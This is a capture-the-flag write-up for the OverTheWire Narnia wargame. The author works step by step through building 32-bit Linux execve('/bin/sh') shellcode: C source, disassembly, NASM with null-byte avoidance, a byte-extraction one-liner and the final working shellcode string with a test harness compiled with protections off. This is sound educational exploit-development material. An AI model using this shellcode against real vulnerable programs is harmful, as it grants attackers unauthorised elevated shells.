Contents

Creating ShellCode On Narnia

Contents

The Shellcoders Handbook was the foundation of most of the write up. It’s based largely on the contents of Chapter 3 - Spawining a Shell. I’ve adapted it to work on the OverTheWire server used for the narnia challenges - mostly making sure the various protections are disabled. These protections are disabled since we want to rely on very specific locations in order to set the shellcode up correctly. This particular bit of shell code just calls execve with /bin/sh. When combined with a vulnerable program that has elevated privileges it’ll spawn a shell with that access level - in the case of the narnia challenges, the next level. There already exists a lot of pre-generated shellcode out there (http://shell-storm.org/shellcode/), however part of the fun is to understand the fundamentals and try doing it myself.

Fair warning, this is my first attempt at creating some shellcode.

To get started, need a simple C program to launch a shell using execve. Since this being done on the OverTheWire servers the only writable location is /tmp/, so everything will take place in a folder that was created there.

1
2
3
4
5
6
7
8
narnia1@narnia:/tmp/makemyown$ cat simpleshell.c
#include <unistd.h>
int main(){
    char *happy[2];
    happy[0] = "/bin/sh";
    happy[1] = NULL;
    execve(happy[0], happy, NULL);
}

Once that source is saved, it’s time to compile it. To disable all of the things that would get in the away when creating some shellcode, it needs to be compiled with with static set in GCC so there’s no dynamic linking, no stack protector, and no position-independent-executable (pie). Additionally, to make things easy, let’s make sure we compile it as a 32bit binary (-m32).

1
narnia1@narnia:/tmp/makemyown$ gcc -o simpleshell simpleshell.c -m32 -static -fno-stack-protector -fno-pie

If all went well and no compilation errors, try running it to make sure it actually spawns a shell:

1
2
3
narnia1@narnia:/tmp/makemyown$ ./simpleshell
$ ls
simpleshell  simpleshell.c

Now the fun part, dumping out all the assembly (with objdump) and identifying what actually matters for creating the shellcode in as few bytes as possible.

First the main function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
080489cc <main>:
 80489cc:       8d 4c 24 04             lea    0x4(%esp),%ecx
 80489d0:       83 e4 f0                and    $0xfffffff0,%esp
 80489d3:       ff 71 fc                pushl  -0x4(%ecx)
 80489d6:       55                      push   %ebp
 80489d7:       89 e5                   mov    %esp,%ebp
 80489d9:       51                      push   %ecx
 80489da:       83 ec 14                sub    $0x14,%esp
 80489dd:       c7 45 f0 08 c3 0b 08    movl   $0x80bc308,-0x10(%ebp) # happy[0] = /bin/sh
 80489e4:       c7 45 f4 00 00 00 00    movl   $0x0,-0xc(%ebp)        # happy[1] = NULL
 80489eb:       8b 45 f0                mov    -0x10(%ebp),%eax       # $eax = happy[0]
 80489ee:       83 ec 04                sub    $0x4,%esp
 80489f1:       6a 00                   push   $0x0                   # NULL onto stack
 80489f3:       8d 55 f0                lea    -0x10(%ebp),%edx       # $edx = happy
 80489f6:       52                      push   %edx                   # happy onto stack
 80489f7:       50                      push   %eax                   # happy[0] onto stack
 80489f8:       e8 13 4d 02 00          call   806d710 <__execve>
 80489fd:       83 c4 10                add    $0x10,%esp
 8048a00:       b8 00 00 00 00          mov    $0x0,%eax
 8048a05:       8b 4d fc                mov    -0x4(%ebp),%ecx
 8048a08:       c9                      leave  
 8048a09:       8d 61 fc                lea    -0x4(%ecx),%esp
 8048a0c:       c3                      ret
 8048a0d:       66 90                   xchg   %ax,%ax
 8048a0f:       90                      nop

Now the execv function, which is the ultimate target and focus for creating the shellcode:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
0806d710 <__execve>:
 806d710:       53                      push   %ebx
 806d711:       8b 54 24 10             mov    0x10(%esp),%edx
 806d715:       8b 4c 24 0c             mov    0xc(%esp),%ecx
 806d719:       8b 5c 24 08             mov    0x8(%esp),%ebx
 806d71d:       b8 0b 00 00 00          mov    $0xb,%eax
 806d722:       ff 15 f0 b9 0e 08       call   *0x80eb9f0
 806d728:       5b                      pop    %ebx
 806d729:       3d 01 f0 ff ff          cmp    $0xfffff001,%eax
 806d72e:       0f 83 fc 3a 00 00       jae    8071230 <__syscall_error>
 806d734:       c3                      ret
 806d735:       66 90                   xchg   %ax,%ax
 806d737:       66 90                   xchg   %ax,%ax
 806d739:       66 90                   xchg   %ax,%ax
 806d73b:       66 90                   xchg   %ax,%ax
 806d73d:       66 90                   xchg   %ax,%ax
 806d73f:       90                      nop

These should prepare the registers with the values of happy[0], happy and the NULL of the system call we’d like to make (0xb, aka execve).

1
2
3
 806d731:       8b 54 24 10             mov    0x10(%esp),%edx
 806d735:       8b 4c 24 0c             mov    0xc(%esp),%ecx
 806d739:       8b 5c 24 08             mov    0x8(%esp),%ebx

This line moves 0xb into $eax to handle the execve call.

1
 806d73d:       b8 0b 00 00 00          mov    $0xb,%eax

Verifying by taking a peek at $ebx, first get the address stored in $ebx:

1
2
(gdb) p/x $ebx
$8 = 0x80bc328

Then dump the contents of that address:

1
2
(gdb) x/s 0x80bc328
0x80bc328: "/bin/sh"

Next, to figure out what the call does. Ideally this is the way to get to the syscall - which in theory works it way to an int 0x80 call (aka, a transition to the kernel):

1
 806d742:       ff 15 f0 b9 0e 08       call   *0x80eb9f0

Stepping into this function reveals the following, which isn’t quite what was expected:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
(gdb) x/10i $pc
=> 0xf7ffcc90 <__kernel_vsyscall>: push   %ecx
   0xf7ffcc91 <__kernel_vsyscall+1>: push   %edx
   0xf7ffcc92 <__kernel_vsyscall+2>: push   %ebp
   0xf7ffcc93 <__kernel_vsyscall+3>: mov    %esp,%ebp
   0xf7ffcc95 <__kernel_vsyscall+5>: sysenter
   0xf7ffcc97 <__kernel_vsyscall+7>: int    $0x80
   0xf7ffcc99 <__kernel_vsyscall+9>: pop    %ebp
   0xf7ffcc9a <__kernel_vsyscall+10>: pop    %edx
   0xf7ffcc9b <__kernel_vsyscall+11>: pop    %ecx
   0xf7ffcc9c <__kernel_vsyscall+12>: ret  

However, we know that this must eventually get to the right place as we end up in the Kernel calls. But it’s still unclear what 0x80eb9f0 refers to. So objdump to the rescuse to help sort that out a bit more.

Using the following command we can get more info:

1
2
3
narnia1@narnia:/tmp/makemyown$ objdump -s simpleshell > simpleshelldump.txt
narnia1@narnia:/tmp/makemyown$ grep 80eb9f0 simpleshelldump.txt
 80eb9f0 40010708 70ae0908 07000000 7f030000  @...p...........

Using 40010708 and converting it from little-endian to big-endian, we get: 08070140

And looking back at the overall dump with 08070140:

1
2
3
4
5
08070140 <_dl_sysinfo_int80>:
 8070140:       cd 80                   int    $0x80
 8070142:       c3                      ret
 8070143:       8d b6 00 00 00 00       lea    0x0(%esi),%esi
 8070149:       8d bc 27 00 00 00 00    lea    0x0(%edi,%eiz,1),%edi

Now that all of the important pieces have been located with their appropriate byte code. It’s time to work on extracting the very minimum we care about and coming up with a game plan of how to implement the shellcode. First lets find the string for /bin/shell and where it gets stored into memory.

The overall goal is the following:

  1. Get /bin/sh into memory
  2. Get NULL into memory
  3. Push NULL onto the stack
  4. Push happy onto the stack
  5. Push happy[0] onto the stack
  6. Push value for execve onto the stack
  7. Make the syscall

First up is the string /bin/sh, by looking over main

1
 80489dd:       c7 45 f0 08 c3 0b 08    movl   $0x80bc308,-0x10(%ebp)

Next up is the NULL to be stored in adjacent memory:

1
 80489e4:       c7 45 f4 00 00 00 00    movl   $0x0,-0xc(%ebp)

Now to push a NULL onto the stack so we can populate the register with it:

1
 80489f1:       6a 00                   push   $0x0

And next up the address to the array “happy” on to the stack:

1
2
 80489f3:       8d 55 f0                lea    -0x10(%ebp),%edx
 80489f6:       52                      push   %edx

And finally the address to string onto the stack:

1
2
 80489eb:       8b 45 f0                mov    -0x10(%ebp),%eax
 80489f7:       50                      push   %eax

And now breaking down execve, first the NULL:

1
 806d711:       8b 54 24 10             mov    0x10(%esp),%edx

Next the address for the array (happy):

1
 806d715:       8b 4c 24 0c             mov    0xc(%esp),%ecx

And once again (happy[0]):

1
 806d719:       8b 5c 24 08             mov    0x8(%esp),%ebx

And finally the magic value of 0xb for the execve syscall:

1
 806d71d:       b8 0b 00 00 00          mov    $0xb,%eax

Once the stack is prepared we call into the magic function that ultimately gets us to <_dl_sysinfo_int80>:

1
 806d722:       ff 15 f0 b9 0e 08       call   *0x80eb9f0

Which is just:

1
 8070140:       cd 80                   int    $0x80

There are two things we need to keep in mind when preparing the shellcode.

  1. Be clever in removing the nullbytes/null terminators (\x0) from the assembly code. If we were to just use the the assembly b8 0b 00 00 00 as the input, everything would go wrong since \x00 is a null terminator, therefore something clever needs to be done.

  2. Need to figure out a way to do relative addressing, since it is not possible to safety rely on any address of the string. The trick is using a jump, followed by a call backwards, forming a bit of sandwich of code. The sandwich method roughly has this outline:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
        jmp short GotoCall        # The jmp to a label
        shellcode:
            pop              $esi
        ...
        <shellcode goodness>
        ...
        GotoCall:
            call        shellcode # call backwards to the shellcode
            db         '/bin/sh/' # define byte of the string
    

The pop $esi is important here, since it’ll put the address of '/bin/sh' into $esi. This happens since the return address from the call will be the address of the next instruction after the call, and it was pushed into the stack when doing call. From there we can use relative addressing to $esi, no need to worry about specific memory addresses.

Now to put it all together:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
Section              .text
    global           _start
_start:
    jmp short          GotoCall
shellcode:
    pop                esi             # Get the "ret" address which is just the define byte
    xor                eax, eax        # This fills eax with all zeros, avoids the `\x00`
    mov byte           [esi + 7], al   # Moves a 0 to the "J", could use AH?
    lea                ebx, [esi]      # $esi stores start of string so copy to ebx
    mov long           [esi + 8], ebx  # Copy address of $esi over the "AAAA"
    mov long           [esi + 12], eax # Fill "BBBB" will NULLs
    mov byte           al, 0x0b        # No longer need \x0 from $eax, fill the magic value
    mov                ebx, esi        # Load $ebx with address of the string
    lea                ecx, [esi + 8]  # Load the address stored where "AAAA" was
    lea                edx, [esi + 12] # Load the NULLs where "BBBB" was
    int                0x80            # System call time
GotoCall:
    call shellcode
    db '/bin/shJAAAABBBB' # Add some dummy values that will get over written, db is define byte, sort of an alloc for our string

Note, the order of populating our registers isn’t in the same order as our disassembly from our C program. The important thing here is making sure the correct registers are filled with the correct values. I.e. The disassembly showed that the value of 0xb was stored in $eax, so we accomplish this with $al. The address of the string needed to be in $ebx. $ecx and $ebx get the junk data.

Compile with:

1
narnia1@narnia:/tmp/mymyown$ nasm -f elf execv2.asm

Link with elf-i386 (since targeting 32bit):

1
narnia1@narnia:/tmp/mymyown$ ld -m elf_i386 -o execv2.2 execv2.o

Now use objdump to check out waht the final assembly code looks like and start verifying that it’s as expected, and most importantly making sure there’s no \x00 bytes:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
narnia1@narnia:/tmp/mymyown$ objdump -d execv2.2
execv2.2:     file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
 8048060: eb 1a                jmp    804807c <GotoCall>
08048062 <shellcode>:
 8048062: 5e                   pop    %esi
 8048063: 31 c0                xor    %eax,%eax
 8048065: 88 46 07             mov    %al,0x7(%esi)
 8048068: 8d 1e                lea    (%esi),%ebx
 804806a: 89 5e 08             mov    %ebx,0x8(%esi)
 804806d: 89 46 0c             mov    %eax,0xc(%esi)
 8048070: b0 0b                mov    $0xb,%al
 8048072: 89 f3                mov    %esi,%ebx
 8048074: 8d 4e 08             lea    0x8(%esi),%ecx
 8048077: 8d 56 0c             lea    0xc(%esi),%edx
 804807a: cd 80                int    $0x80
0804807c <GotoCall>:
 804807c: e8 e1 ff ff ff       call   8048062 <shellcode>
 8048081: 2f                   das                             # /
 8048082: 62 69 6e             bound  %ebp,0x6e(%ecx)          # bin
 8048085: 2f                   das                             # /
 8048086: 73 68                jae    80480f0 <GotoCall+0x74>  # sh
 8048088: 4a                   dec    %edx                     # j
 8048089: 41                   inc    %ecx                     # A
 804808a: 41                   inc    %ecx                     # A
 804808b: 41                   inc    %ecx                     # A
 804808c: 41                   inc    %ecx                     # A
 804808d: 42                   inc    %edx                     # B
 804808e: 42                   inc    %edx                     # B
 804808f: 42                   inc    %edx                     # B
 8048090: 42                   inc    %edx                     # B

Since it all looks good, time to convert it to some shellcode, using a bit CommandlineFu for extracting the shell code easily:

1
2
narnia1@narnia:/tmp/mymyown$ objdump -d ./<BINARY>|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42"

Create a test app, using a ton of ():

1
2
3
4
5
6
7
narnia1@narnia:/tmp/mymyown$ cat shelltry.c
char shellcode[] = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42";
int main() {
 int (*ret)();
 ret = (int (*)())shellcode;
 (int)(*ret)();
}

Compile and disable security with a ton of options:

1
narnia1@narnia:/tmp/mymyown$ gcc -o shelltry shelltry.c -m32 -Wl,-z,norelro -z execstack -fno-stack-protector -fno-pie

Run it and verify it works. If all went well, the shelltry should spawn a shell. Going forward it should be possible to use this shellcode for all of the narnia challenges and we no longer have to rely on something created by someone else.